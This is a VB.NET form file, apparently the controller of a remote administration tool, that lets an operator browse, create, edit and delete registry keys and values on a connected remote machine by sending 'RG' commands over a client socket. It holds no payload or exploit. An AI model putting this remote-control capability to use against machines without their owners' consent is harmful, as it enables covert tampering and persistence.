Files

146 lines
6.6 KiB
VB.net
Raw Permalink Normal View History

2026-08-27 11:22:34 -06:00
Imports System.Runtime.CompilerServices
Imports System.Threading
Public Class Registry
Public C As Client
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Try
If Not C.IsConnected Then
Close()
End If
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
Private Sub RGk_DoubleClick(sender As Object, e As EventArgs) Handles RGk.DoubleClick
If (Not RGk.SelectedNode Is Nothing) Then
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "~" & SettingsHelper.SPL & RGk.SelectedNode.FullPath & "\" & SettingsHelper.SPL)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
ToolStripStatusLabel1.ForeColor = Color.Black
ToolStripStatusLabel1.Text = "Wait.."
End If
End Sub
Private Sub ListView1_DoubleClick(sender As Object, e As EventArgs) Handles ListView1.DoubleClick
If (ListView1.SelectedItems.Count <> 0) Then
Dim item As ListViewItem = ListView1.SelectedItems.Item(0)
Dim gv As New EditReg
gv.Path = (RGk.SelectedNode.FullPath & "\")
gv.C = C
gv.Guna2TextBox1.Text = item.Text
gv.Guna2ComboBox1.SelectedIndex = gv.Guna2ComboBox1.Items.IndexOf(item.SubItems.Item(1).Text)
Try
gv.Guna2TextBox3.Text = item.SubItems.Item(2).Text
Catch exception1 As Exception
Dim exception As Exception = exception1
End Try
gv.Text = gv.Path
gv.Guna2TextBox1.ReadOnly = True
gv.ShowDialog(Me)
End If
End Sub
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
Try
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
If ListView1.Items.Count > 0 Then
For Each x As ListViewItem In ListView1.Items
x.Selected = True
Next
End If
End If
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
Private Sub Registry_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
Dim B As Byte() = SB("CloseRegistry")
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End Sub
Private Sub RefreshToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles RefreshToolStripMenuItem2.Click
If (Not RGk.SelectedNode Is Nothing) Then
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "~" & SettingsHelper.SPL & RGk.SelectedNode.FullPath & "\")
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
ToolStripStatusLabel1.ForeColor = Color.Black
ToolStripStatusLabel1.Text = "Wait.."
End If
End Sub
Private Sub AddToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles AddToolStripMenuItem1.Click
If ((Not RGk.SelectedNode Is Nothing) AndAlso RGk.SelectedNode.FullPath.Contains("\")) Then
Dim str As String = Interaction.InputBox("Key Name?", "Create New Key", "Name", -1, -1)
If (str.Length <> 0) Then
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "#" & SettingsHelper.SPL & RGk.SelectedNode.FullPath & "\" & SettingsHelper.SPL & str)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
End If
End Sub
Private Sub RemoveToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RemoveToolStripMenuItem1.Click
If (Not RGk.SelectedNode Is Nothing) Then
Dim fullPath As String = RGk.SelectedNode.FullPath
If fullPath.Contains("\") Then
Dim str2 As String = Strings.Split(fullPath, "\", -1, CompareMethod.Binary)((Strings.Split(fullPath, "\", -1, CompareMethod.Binary).Length - 1))
Dim str3 As String = ""
Dim num2 As Integer = (Strings.Split(fullPath, "\", -1, CompareMethod.Binary).Length - 2)
Dim i As Integer = 0
Do While (i <= num2)
str3 = (str3 & Strings.Split(fullPath, "\", -1, CompareMethod.Binary)(i) & "\")
i += 1
Loop
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "$" & SettingsHelper.SPL & str3 & SettingsHelper.SPL & str2)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
RGk.SelectedNode.Remove()
End If
End If
End Sub
Private Sub ToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem1.Click
If (Not RGk.SelectedNode Is Nothing) Then
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "~" & SettingsHelper.SPL & RGk.SelectedNode.FullPath & "\")
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
ToolStripStatusLabel1.ForeColor = Color.Black
ToolStripStatusLabel1.Text = "Wait.."
End If
End Sub
Private Sub NewValueToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles NewValueToolStripMenuItem1.Click
Dim gv As New EditReg
gv.Path = RGk.SelectedNode.FullPath & "\"
gv.C = C
gv.Guna2TextBox1.Text = "Name"
gv.Guna2ComboBox1.SelectedIndex = gv.Guna2ComboBox1.Items.IndexOf("String")
gv.Guna2TextBox3.Text = "Value"
gv.Text = gv.Path
gv.ShowDialog(Me)
End Sub
Private Sub EditToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles EditToolStripMenuItem1.Click
ListView1_DoubleClick(RuntimeHelpers.GetObjectValue(sender), e)
End Sub
Private Sub DeleteToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles DeleteToolStripMenuItem1.Click
Dim enumerator As IEnumerator
Try
enumerator = ListView1.SelectedItems.GetEnumerator
Do While enumerator.MoveNext
Dim current As ListViewItem = DirectCast(enumerator.Current, ListViewItem)
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "@5" & SettingsHelper.SPL & RGk.SelectedNode.FullPath & "\" & SettingsHelper.SPL & current.Text)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
Loop
Finally
End Try
End Sub
End Class